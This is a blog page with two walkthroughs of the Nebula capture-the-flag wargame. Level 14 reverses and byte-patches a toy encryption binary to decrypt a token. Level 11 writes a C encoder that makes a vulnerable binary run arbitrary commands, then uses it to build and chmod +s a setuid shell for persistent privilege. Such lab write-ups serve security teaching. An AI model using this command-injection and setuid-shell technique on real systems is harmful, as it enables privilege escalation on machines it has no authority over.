Showing posts with label decryption. Show all posts
Showing posts with label decryption. Show all posts

Monday, September 3, 2012

nebula level14

Level details:
This program resides in /home/flag14/flag14 . It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
This time we will have to figure out how the encryption routine works to come up with a decryption routine in order to decrypt the token.
The encryption algorithm turns out to be so easy that you can figure it out by simply experimenting with the binary. But if we were to employ a systematic approach, we'd have to analyze the binary, which is exactly what we will do. This time we'll use objdump as our disassembler. Using objdump -D to disassemble, we find that the encryption routine lies in <main>:
level14@nebula:~$ objdump -dMintel ~flag14/flag14

/home/flag14/flag14:     file format elf32-i386

...

08048464 <main>:
...
 8048482:       c7 44 24 2c 00 00 00    mov    DWORD PTR [esp+0x2c],0x0
...
 80484e1:       90                      nop
 80484e2:       c7 44 24 08 40 00 00    mov    DWORD PTR [esp+0x8],0x40
 80484e9:       00
 80484ea:       8d 44 24 3c             lea    eax,[esp+0x3c]
 80484ee:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484f2:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80484f9:       e8 52 fe ff ff          call   8048350 <read@plt>
 80484fe:       89 44 24 34             mov    DWORD PTR [esp+0x34],eax
 8048502:       83 7c 24 34 00          cmp    DWORD PTR [esp+0x34],0x0
 8048507:       7f 0c                   jg     8048515 <main+0xb1>
 8048509:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048510:       e8 6b fe ff ff          call   8048380 <exit@plt>
 8048515:       c7 44 24 30 00 00 00    mov    DWORD PTR [esp+0x30],0x0
 804851c:       00
 804851d:       eb 29                   jmp    8048548 <main+0xe4>
 804851f:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048523:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 8048527:       0f b6 00                movzx  eax,BYTE PTR [eax]
 804852a:       89 c2                   mov    edx,eax
 804852c:       8b 44 24 2c             mov    eax,DWORD PTR [esp+0x2c]
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
 8048534:       8d 44 24 3c             lea    eax,[esp+0x3c]
 8048538:       03 44 24 30             add    eax,DWORD PTR [esp+0x30]
 804853c:       88 10                   mov    BYTE PTR [eax],dl
 804853e:       83 44 24 2c 01          add    DWORD PTR [esp+0x2c],0x1
 8048543:       83 44 24 30 01          add    DWORD PTR [esp+0x30],0x1
 8048548:       8b 44 24 30             mov    eax,DWORD PTR [esp+0x30]
 804854c:       3b 44 24 34             cmp    eax,DWORD PTR [esp+0x34]
 8048550:       7c cd                   jl     804851f <main+0xbb>
 8048552:       8b 44 24 34             mov    eax,DWORD PTR [esp+0x34]
 8048556:       89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804855a:       8d 44 24 3c             lea    eax,[esp+0x3c]
 804855e:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048562:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048569:       e8 32 fe ff ff          call   80483a0 <write@plt>
 804856e:       89 44 24 38             mov    DWORD PTR [esp+0x38],eax
 8048572:       83 7c 24 38 00          cmp    DWORD PTR [esp+0x38],0x0
 8048577:       0f 8f 64 ff ff ff       jg     80484e1 <main+0x7d>
...
The above is the C equivalent of a for loop inside a do-while loop. The input is being read in 64 (0x40) byte chunks, then each byte is added the value of it's (global) offset. (by global offset I mean that the offset is preserved across different chunks.)

The C equivalent code would look like:
int c = 0;
int i;
int rd;
unsigned char buffer[64];

do {
    rd = read(STDIN_FILENO, buffer, sizeof(buffer));
    if(rd <= 0)
        exit(0);

    for(i = 0; i < rd; i++)
        buffer[i] += c++;
} while(write(STDOUT_FILENO, buffer, rd) > 0);
Like I said, we could deduce the above routine by using purely observational analysis:
level14@nebula:~$ ~flag14/flag14 -e
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno9
Constructing the decryption routine consists of changing the += to -=
If you've noticed, we can reuse the flag14 binary to do the decryption for us by applying a simple patch here:
 8048530:       01 d0                   add    eax,edx
 8048532:       89 c2                   mov    edx,eax
We could change the add to a sub, but then we'd have to negate the result (because we would essentially be computing c - buffer[i], while we need -(c - buffer[i]) = buffer[i] - c). But we can't fit the 'neg eax' (2 bytes) and still put the result in edx. We'll have to come up with a better patch.
What if we could simply patch in 'sub edx, eax' and nop out the 'mov edx, eax' that follows? 2 bytes for the sub and 2 bytes for the nops, seems good.
But we can still do better... We can nop out the 'add eax, edx' and put the 'sub edx, eax' instead of 'mov edx, eax'. That's still 4 bytes, but notice that we can reuse the ModR/M byte of the mov instruction for our sub. That's 3 bytes:
level14@nebula:~$ # nop = 0x90
level14@nebula:~$ # sub edx, eax = 0x29 0xc2
level14@nebula:~$ echo -ne '\x90\x90\x29' > patch
level14@nebula:~$ cp ~flag14/flag14 flag14_decrypt
level14@nebula:~$ dd if=patch of=flag14_decrypt bs=1 seek=1328 conv=notrunc
3+0 records in
3+0 records out
3 bytes (3 B) copied, 0.000137174 s, 21.9 kB/s
level14@nebula:~$ ./flag14_decrypt -e < ~flag14/token
8457c118-887c-4e40-a5a6-33a25353165
                                   ▒level14@nebula:~$ su flag14 -c getflag
Password:
You have successfully executed getflag on a target account
We got another flag for just 3 bytes ;)

~ Dmitry

nebula level11

Level description:
The /home/flag11/flag11 binary processes standard input and executes a shell command.
Source code:

The binary reads a 'header' which is simply the length of the command to be executed, then the command, and then executes the command. The problem is that we need to encrypt the command we send. The decryption routine in the 'process' function is a simple stream cipher which uses XOR. The key is derived by the length and the plaintext:
void process(char *buffer, int length)
{
 unsigned int key;
 int i;

 key = length & 0xff;

 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
        setgid(getgid());
        setuid(getuid());
 system(buffer);
}
So in order to encrypt the command, we need to know the length and the plaintext, which we both have beforehand.
Another thing to notice is that if we provide a command shorter than 1024 bytes, the fread call fails. This is because it specifies the size of an element as the whole command length, and tries to read 1 element. But then it checks whether fread returned 'length' elements or not. This isn't always possible. The fread call will only ever return 0 or 1. Now in the latter case, you could encrypt a 1-byte command and send it, but there's no NULL terminator after it (or other ways to discard the junk that follows).

The other branch of code reads our encrypted command in 1024 byte chunks. One 1024 byte is enough. Our encryption routine needs to derive the key and XOR it with the command bytes. As seen in the source code, the key is first set to the least significant byte of the command length, then it's subtracted the value of the last command byte encrypted. The command encryption code is as follows:
level11@nebula:~$ cat > pwn.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int length = 1024;
    char buffer[1024];
    unsigned int key;
    int i;

    if(argc != 2)
        return EXIT_FAILURE;

    strncpy(buffer, argv[1], 1024);

    key = length & 0xff;
    for(i = 0; i < length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }

    puts("Content-Length: 1024");
    fwrite(buffer, 1, length, stdout);

    return EXIT_SUCCESS;
}
level11@nebula:~$ make pwn
cc     pwn.c   -o pwn
Using it is indeed very easy. Keep in mind that because of the way the second code branch works, we need to specify the TEMP environment variable. This is where the flag11 binary will store the temporary file in which our command will be put.
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn getflag | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
But we won't be satisfied without a SUID shell :)
level11@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn 'cc -o /tmp/flag11_sh /tmp/shell.c; chmod +s /tmp/flag11_sh' | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
level11@nebula:~$ /tmp/flag11_sh
sh-4.2$ id
uid=988(flag11) gid=1012(level11) groups=988(flag11),1012(level11)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Let's go get some other flags...

~ Dmitry